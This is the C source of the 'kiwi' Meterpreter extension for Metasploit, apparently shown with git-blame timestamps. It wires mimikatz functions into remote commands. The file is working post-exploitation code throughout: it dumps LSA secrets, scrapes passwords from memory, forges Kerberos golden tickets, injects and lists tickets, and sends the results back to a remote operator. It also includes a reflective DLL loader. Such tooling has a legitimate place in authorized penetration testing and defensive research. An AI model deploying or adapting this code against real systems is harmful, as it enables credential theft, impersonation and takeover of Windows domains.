2014-01-10 16:51:51 +10:00
|
|
|
/* Benjamin DELPY `gentilkiwi`
|
|
|
|
http://blog.gentilkiwi.com
|
|
|
|
benjamin@gentilkiwi.com
|
|
|
|
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
|
|
|
*/
|
|
|
|
|
|
|
|
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
|
|
|
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
|
|
|
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
|
|
|
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
|
|
|
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
|
|
|
|
|
|
|
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
|
|
|
EnableDelayLoadMetSrv();
|
|
|
|
|
|
|
|
#include "main.h"
|
|
|
|
#include "mimikatz_interface.h"
|
|
|
|
|
|
|
|
DWORD request_scrape_passwords(Remote *remote, Packet *packet);
|
2014-03-19 14:26:55 +10:00
|
|
|
DWORD request_kerberos_golden_ticket_create(Remote *remote, Packet *packet);
|
|
|
|
DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet);
|
|
|
|
DWORD request_kerberos_ticket_purge(Remote *remote, Packet *packet);
|
|
|
|
DWORD request_kerberos_ticket_list(Remote *remote, Packet *packet);
|
2014-03-14 19:51:35 +10:00
|
|
|
DWORD request_lsa_dump_secrets(Remote *remote, Packet *packet);
|
2014-01-10 16:51:51 +10:00
|
|
|
|
|
|
|
Command customCommands[] =
|
|
|
|
{
|
|
|
|
COMMAND_REQ("kiwi_scrape_passwords", request_scrape_passwords),
|
2014-03-19 14:26:55 +10:00
|
|
|
COMMAND_REQ("kiwi_kerberos_ticket_use", request_kerberos_ticket_use),
|
|
|
|
COMMAND_REQ("kiwi_kerberos_golden_ticket_create", request_kerberos_golden_ticket_create),
|
|
|
|
COMMAND_REQ("kiwi_kerberos_ticket_purge", request_kerberos_ticket_purge),
|
|
|
|
COMMAND_REQ("kiwi_kerberos_ticket_list", request_kerberos_ticket_list),
|
2014-03-14 19:51:35 +10:00
|
|
|
COMMAND_REQ("kiwi_lsa_dump_secrets", request_lsa_dump_secrets),
|
2014-01-10 16:51:51 +10:00
|
|
|
COMMAND_TERMINATOR
|
|
|
|
};
|
|
|
|
|
2014-03-14 19:51:35 +10:00
|
|
|
DWORD request_lsa_dump_secrets(Remote *remote, Packet *packet)
|
|
|
|
{
|
|
|
|
DWORD result;
|
|
|
|
Packet * response = packet_create_response(packet);
|
|
|
|
|
|
|
|
dprintf("[KIWI] Dumping LSA Secrets");
|
|
|
|
|
|
|
|
result = mimikatz_lsa_dump_secrets(response);
|
|
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
|
|
|
|
return ERROR_SUCCESS;
|
|
|
|
}
|
|
|
|
|
2014-03-19 14:26:55 +10:00
|
|
|
DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet)
|
2014-01-10 16:51:51 +10:00
|
|
|
{
|
|
|
|
Packet * response = packet_create_response(packet);
|
|
|
|
DWORD result = ERROR_INVALID_PARAMETER;
|
|
|
|
Tlv ticketTlv;
|
|
|
|
|
2014-03-19 14:26:55 +10:00
|
|
|
result = packet_get_tlv(packet, TLV_TYPE_KIWI_KERB_TKT_RAW, &ticketTlv);
|
2014-01-10 16:51:51 +10:00
|
|
|
|
|
|
|
if (result == ERROR_SUCCESS)
|
|
|
|
{
|
|
|
|
dprintf("[KIWI] Ticket size: %u bytes", ticketTlv.header.length);
|
2014-03-19 14:26:55 +10:00
|
|
|
result = mimikatz_kerberos_ticket_use(ticketTlv.buffer, ticketTlv.header.length);
|
2014-01-10 16:51:51 +10:00
|
|
|
}
|
|
|
|
else
|
|
|
|
{
|
|
|
|
dprintf("[KIWI] Failed to get ticket content");
|
|
|
|
}
|
|
|
|
|
|
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
|
|
|
|
return result;
|
|
|
|
}
|
|
|
|
|
2014-03-19 14:26:55 +10:00
|
|
|
DWORD request_kerberos_golden_ticket_create(Remote *remote, Packet *packet)
|
2014-01-10 16:51:51 +10:00
|
|
|
{
|
|
|
|
DWORD result;
|
|
|
|
Packet * response = packet_create_response(packet);
|
|
|
|
char* user = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_USER);
|
|
|
|
char* domain = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_DOMAIN);
|
|
|
|
char* sid = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_SID);
|
|
|
|
char* tgt = packet_get_tlv_value_string(packet, TLV_TYPE_KIWI_GOLD_TGT);
|
|
|
|
|
|
|
|
|
|
|
|
if (!user || !domain || !sid || !tgt)
|
|
|
|
{
|
|
|
|
result = ERROR_INVALID_PARAMETER;
|
|
|
|
}
|
|
|
|
else
|
|
|
|
{
|
2014-03-19 14:26:55 +10:00
|
|
|
result = mimikatz_kerberos_golden_ticket_create(user, domain, sid, tgt, response);
|
2014-01-10 16:51:51 +10:00
|
|
|
}
|
|
|
|
|
|
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
|
|
|
|
return ERROR_SUCCESS;
|
|
|
|
}
|
|
|
|
|
2014-03-19 14:26:55 +10:00
|
|
|
DWORD request_kerberos_ticket_list(Remote *remote, Packet *packet)
|
|
|
|
{
|
|
|
|
DWORD result;
|
|
|
|
Packet * response = packet_create_response(packet);
|
|
|
|
BOOL bExport = packet_get_tlv_value_bool(packet, TLV_TYPE_KIWI_KERB_EXPORT);
|
|
|
|
|
|
|
|
result = mimikatz_kerberos_ticket_list(bExport, response);
|
|
|
|
|
|
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
|
|
|
|
return ERROR_SUCCESS;
|
|
|
|
}
|
|
|
|
|
|
|
|
DWORD request_kerberos_ticket_purge(Remote *remote, Packet *packet)
|
|
|
|
{
|
|
|
|
DWORD result = mimikatz_kerberos_ticket_purge();
|
|
|
|
|
|
|
|
dprintf("[KIWI] Purging kerberos tickets (if present)");
|
|
|
|
|
|
|
|
packet_transmit_empty_response(remote, packet, result);
|
|
|
|
|
|
|
|
return ERROR_SUCCESS;
|
|
|
|
}
|
|
|
|
|
2014-01-10 16:51:51 +10:00
|
|
|
DWORD request_scrape_passwords(Remote *remote, Packet *packet)
|
|
|
|
{
|
|
|
|
DWORD result;
|
|
|
|
Packet * response = packet_create_response(packet);
|
|
|
|
UINT pwdId = packet_get_tlv_value_uint(packet, TLV_TYPE_KIWI_PWD_ID);
|
|
|
|
|
|
|
|
dprintf("[KIWI] Pwd ID: %u", pwdId);
|
|
|
|
|
|
|
|
result = mimikatz_scrape_passwords(pwdId, response);
|
|
|
|
packet_transmit_response(result, remote, response);
|
|
|
|
|
|
|
|
return ERROR_SUCCESS;
|
|
|
|
}
|
|
|
|
|
|
|
|
/*
|
|
|
|
* Initialize the server extension
|
|
|
|
*/
|
|
|
|
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
|
|
|
{
|
|
|
|
hMetSrv = remote->hMetSrv;
|
|
|
|
|
|
|
|
dprintf("[KIWI] Init server extension - initorclean");
|
|
|
|
mimikatz_initOrClean(TRUE);
|
|
|
|
|
|
|
|
dprintf("[KIWI] Init server extension - register");
|
|
|
|
command_register_all(customCommands);
|
|
|
|
|
|
|
|
dprintf("[KIWI] Init server extension - done");
|
|
|
|
|
|
|
|
return ERROR_SUCCESS;
|
|
|
|
}
|
|
|
|
|
|
|
|
/*
|
|
|
|
* Deinitialize the server extension
|
|
|
|
*/
|
|
|
|
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
|
|
|
{
|
|
|
|
mimikatz_initOrClean(FALSE);
|
|
|
|
command_deregister_all(customCommands);
|
|
|
|
|
|
|
|
return ERROR_SUCCESS;
|
|
|
|
}
|